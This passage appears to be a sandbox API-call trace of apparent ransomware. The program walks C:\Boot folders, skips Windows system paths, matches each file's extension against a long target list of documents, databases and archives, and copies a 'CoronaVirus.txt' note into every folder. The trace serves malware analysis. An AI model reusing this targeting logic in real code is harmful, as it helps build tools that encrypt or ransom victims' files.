	[0082.836] wcsstr (_Str=".v2i", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".3ds", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".ppt", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".acc", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".vpd", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".odt", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.836] wcsstr (_Str=".ods", _SubStr=".msu") returned 0x0
	[0082.836] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.837] wcsstr (_Str=".rar", _SubStr=".msu") returned 0x0
	[0082.883] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.883] wcsstr (_Str=".zip", _SubStr=".msu") returned 0x0
	[0082.883] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.883] wcsstr (_Str=".cpp", _SubStr=".msu") returned 0x0
	[0082.883] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".pas", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".asm", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".rtf", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".lic", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".avi", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".mov", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".mp3", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".vbs", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".v8i", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".erf", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".epf", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".mxl", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".cfu", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".mht", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".bak", _SubStr=".msu") returned 0x0
	[0082.888] _wcslwr (in: _String=0x3173b1e | out: _String=".msu") returned=".msu"
	[0082.888] wcsstr (_Str=".old", _SubStr=".msu") returned 0x0
	[0082.888] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0
	[0082.889] FindClose (in: hFindFile=0x600710 | out: hFindFile=0x600710) returned 1
	[0082.889] FindNextFileW (in: hFindFile=0x600e10, lpFindFileData=0x3181d30 | out: lpFindFileData=0x3181d30*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0082.889] wcsncmp (_String1="B", _String2=".", _MaxCount=0x1) returned 20
	[0082.889] wcsncmp (_String1="Bo", _String2="..", _MaxCount=0x2) returned 20
	[0082.889] _swprintf (in: param_1=0x3181f80, param_2="%s\\%s" | out: param_1="C:\\Boot") returned 7
	[0082.889] wcsncmp (_String1="C:\\Boot", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0082.889] wcsstr (_Str="C:\\Boot", _SubStr="Microsoft\\Windows") returned 0x0
	[0082.889] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\CoronaVirus.txt" (normalized: "c:\\boot\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0082.894] _alloca_probe () returned 0x4036d0
	[0082.894] GetFullPathNameW (in: lpFileName="C:\\Boot", nBufferLength=0x1000, lpBuffer=0x317bd08, lpFilePart=0x3173ab4 | out: lpBuffer="C:\\Boot", lpFilePart=0x3173ab4*="Boot") returned 0x7
	[0082.894] FindFirstFileW (in: lpFileName="C:\\Boot\\*.*", lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeac3f288, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6009d0
	[0082.894] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.894] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeac3f288, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.895] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.895] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x6d72d3cf, ftLastAccessTime.dwHighDateTime=0x1d5e877, ftLastWriteTime.dwLowDateTime=0x6d72d3cf, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1
	[0082.895] wcsncmp (_String1="B", _String2=".", _MaxCount=0x1) returned 20
	[0082.895] wcsncmp (_String1="BC", _String2="..", _MaxCount=0x2) returned 20
	[0082.895] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0082.895] wcsncmp (_String1="B", _String2=".", _MaxCount=0x1) returned 20
	[0082.895] wcsncmp (_String1="BC", _String2="..", _MaxCount=0x2) returned 20
	[0082.895] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.895] wcsstr (_Str=".bak", _SubStr=".log") returned 0x0
	[0082.895] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.895] wcsstr (_Str=".bat", _SubStr=".log") returned 0x0
	[0082.895] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.895] wcsstr (_Str=".doc", _SubStr=".log") returned 0x0
	[0082.895] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.895] wcsstr (_Str=".jpg", _SubStr=".log") returned 0x0
	[0082.895] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.895] wcsstr (_Str=".jpe", _SubStr=".log") returned 0x0
	[0082.895] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.895] wcsstr (_Str=".txt", _SubStr=".log") returned 0x0
	[0082.895] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.895] wcsstr (_Str=".tex", _SubStr=".log") returned 0x0
	[0082.895] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.895] wcsstr (_Str=".dbf", _SubStr=".log") returned 0x0
	[0082.895] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.895] wcsstr (_Str=".xls", _SubStr=".log") returned 0x0
	[0082.895] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".cry", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".xml", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".vsd", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".pdf", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".csv", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".bmp", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".tif", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".1cd", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".tax", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".gif", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".gbr", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".png", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".mdb", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".mdf", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".sdf", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".dwg", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".dxf", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".dgn", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.896] wcsstr (_Str=".stl", _SubStr=".log") returned 0x0
	[0082.896] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".gho", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".v2i", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".3ds", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".ppt", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".acc", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".vpd", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".odt", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".ods", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".rar", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".zip", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".cpp", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".pas", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".asm", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".rtf", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".lic", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".avi", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".mov", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".mp3", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.897] wcsstr (_Str=".vbs", _SubStr=".log") returned 0x0
	[0082.897] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.898] wcsstr (_Str=".v8i", _SubStr=".log") returned 0x0
	[0082.898] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.898] wcsstr (_Str=".erf", _SubStr=".log") returned 0x0
	[0082.898] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.898] wcsstr (_Str=".epf", _SubStr=".log") returned 0x0
	[0082.898] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.898] wcsstr (_Str=".mxl", _SubStr=".log") returned 0x0
	[0082.898] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.898] wcsstr (_Str=".cfu", _SubStr=".log") returned 0x0
	[0082.898] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.898] wcsstr (_Str=".mht", _SubStr=".log") returned 0x0
	[0082.898] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.898] wcsstr (_Str=".bak", _SubStr=".log") returned 0x0
	[0082.898] _wcslwr (in: _String=0x3173aea | out: _String=".log") returned=".log"
	[0082.898] wcsstr (_Str=".old", _SubStr=".log") returned 0x0
	[0082.898] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0082.898] wcsncmp (_String1="B", _String2=".", _MaxCount=0x1) returned 20
	[0082.898] wcsncmp (_String1="BC", _String2="..", _MaxCount=0x2) returned 20
	[0082.898] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0082.898] wcsncmp (_String1="B", _String2=".", _MaxCount=0x1) returned 20
	[0082.898] wcsncmp (_String1="BC", _String2="..", _MaxCount=0x2) returned 20
	[0082.898] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0082.898] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0082.898] wcsncmp (_String1="bg", _String2="..", _MaxCount=0x2) returned 52
	[0082.898] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\bg-BG") returned 13
	[0082.898] wcsncmp (_String1="C:\\Boot\\b", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0082.898] wcsstr (_Str="C:\\Boot\\bg-BG", _SubStr="Microsoft\\Windows") returned 0x0
	[0082.898] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\bg-BG\\CoronaVirus.txt" (normalized: "c:\\boot\\bg-bg\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0082.902] _alloca_probe () returned 0x4036d0
	[0082.902] GetFullPathNameW (in: lpFileName="C:\\Boot\\bg-BG", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\bg-BG", lpFilePart=0x316583c*="bg-BG") returned 0xd
	[0082.902] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeac653e5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0082.902] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.902] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xeac653e5, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.902] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0082.902] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0082.903] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0082.903] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.903] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0082.903] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0082.904] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0082.904] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
